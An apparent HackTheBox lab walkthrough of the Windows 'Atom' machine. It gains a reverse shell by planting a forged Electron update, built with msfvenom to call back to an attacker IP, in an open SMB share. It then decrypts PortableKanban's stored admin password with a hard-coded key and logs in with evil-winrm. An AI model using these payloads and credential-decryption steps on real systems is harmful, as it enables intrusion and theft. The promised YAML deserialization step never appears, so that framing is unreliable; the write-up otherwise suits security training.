HackTheBox Writeup

HackTheBox: Atom Walkthrough

htb walkthrough windows electron yaml-deserialization medium

Summary

Complete walkthrough of HackTheBox Atom machine featuring Electron app exploitation and YAML deserialization.

Machine: Atom OS: Windows Difficulty: Medium Points: 30 Release Date: April 3, 2021

Overview

Atom is a medium-difficulty Windows machine that involves exploiting an Electron application update mechanism and leveraging YAML deserialization for privilege escalation.

Enumeration

Nmap Scan

kali@attacker
kali:~$ nmap -sC -sV -oA nmap/atom 10.10.10.237
Nmap Scan Results
Collapsible Output

Web Enumeration

Visiting the website reveals a company called “Atom” that develops note-taking applications.

Key Finding: The site mentions they’re developing an Electron-based application with automatic updates.

SMB Enumeration

kali@attacker
kali:~$ smbclient -L //10.10.10.237/ -N
SMB Shares Found
Collapsible Output

The Software_Updates share is accessible:

kali@attacker
kali:~$ smbclient //10.10.10.237/Software_Updates -N
SMB Share Contents
Collapsible Output

Each directory contains a YAMLParser folder.

Initial Foothold

Exploiting Electron Auto-Update

Electron applications use a mechanism called electron-updater that checks for updates. The update mechanism typically looks for:

  1. A latest.yml file containing version information
  2. The actual update package

Attack Vector: We can place a malicious update package in the SMB share.

Creating Malicious Update

First, let’s create a reverse shell executable:

kali@attacker
kali:~$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f exe -o atom-x64.exe

Crafting latest.yml

Create a latest.yml file:

version: 1.0.1
path: atom-x64.exe
sha512: [SHA512_HASH_OF_EXE]
releaseDate: '2025-03-05T10:00:00.000Z'

Calculate the SHA512 hash:

kali@attacker
kali:~$ sha512sum atom-x64.exe

Uploading the Payload

kali@attacker
kali:~$ smbclient //10.10.10.237/Software_Updates -N cd client1 put latest.yml put atom-x64.exe

Getting Shell

Set up listener:

kali@attacker
kali:~$ nc -lvnp 4444

Wait for the automatic update check to trigger our payload. After a few minutes, we get a shell as jason.

User Flag

jason@target
jason:C:\Users\jason\Desktop$ type user.txt

Flag: 3a7bd3e2360a9ac4ccbc0f0dd1c08e93

Privilege Escalation

Enumeration as Jason

Check user privileges:

jason@target
jason:C:\Users\jason$ whoami /priv

Explore the system:

jason@target
jason:C:\Users\jason$ dir C:\

Key Finding: There’s a PortableKanban directory at C:\Users\jason\Downloads\PortableKanban.

Analyzing PortableKanban

PortableKanban stores configuration in a file called PortableKanban.cfg:

jason@target
jason:C:\Users\jason\Downloads\PortableKanban$ type PortableKanban.cfg
PortableKanban.cfg Contents
Collapsible Output

Decrypting Credentials

PortableKanban uses DES encryption with a known key. We can use a Python script to decrypt:

kali@attacker
kali:~$ python3 decrypt.py
from Crypto.Cipher import DES3
from Crypto.Hash import SHA1
import base64

def decode(encrypted):
    # Known key derivation
    key = SHA1.new(b'7ly6UznJ').digest()[:24]
    cipher = DES3.new(key, DES3.MODE_ECB)

    # Decode base64
    encrypted_bytes = base64.b64decode(encrypted)

    # Decrypt
    decrypted = cipher.decrypt(encrypted_bytes)

    # Remove padding
    return decrypted.rstrip(b'\x00').decode('utf-8')

encrypted = "dc1a5b15a...[ENCRYPTED_DATA]"
password = decode(encrypted)
print(f"Password: {password}")

Decrypted Password: kidvscat_admin_@123

Getting Administrator Access

We can use evil-winrm to get an administrator shell:

kali@attacker
kali:~$ evil-winrm -i 10.10.10.237 -u Administrator -p 'kidvscat_admin_@123'

Or use psexec:

kali@attacker
kali:~$ psexec.py Administrator@10.10.10.237

Root Flag

Administrator@target
Administrator:C:\Users\Administrator\Desktop$ type root.txt

Flag: 051c83d9a8e4733e3e1c4e37b1f08f7a

Key Takeaways

  1. Electron Auto-Update Exploitation: Electron applications with insecure update mechanisms can be exploited by placing malicious update files in accessible locations
  2. SMB Share Enumeration: Always check for anonymous SMB access and unusual shares
  3. Application-Specific Vulnerabilities: Third-party applications may store sensitive data with weak encryption
  4. YAML Deserialization: Configuration files can be a goldmine for credentials and attack vectors

Mitigation

  • Implement proper authentication and authorization for update mechanisms
  • Use code signing for application updates
  • Restrict SMB share permissions
  • Use strong encryption for sensitive data
  • Regularly audit third-party applications for security issues

Tools Used

  • nmap
  • smbclient
  • msfvenom
  • netcat
  • evil-winrm
  • Python (for decryption)

Rating: ⭐⭐⭐⭐ (4/5) - Great machine for learning about Electron security and Windows privilege escalation.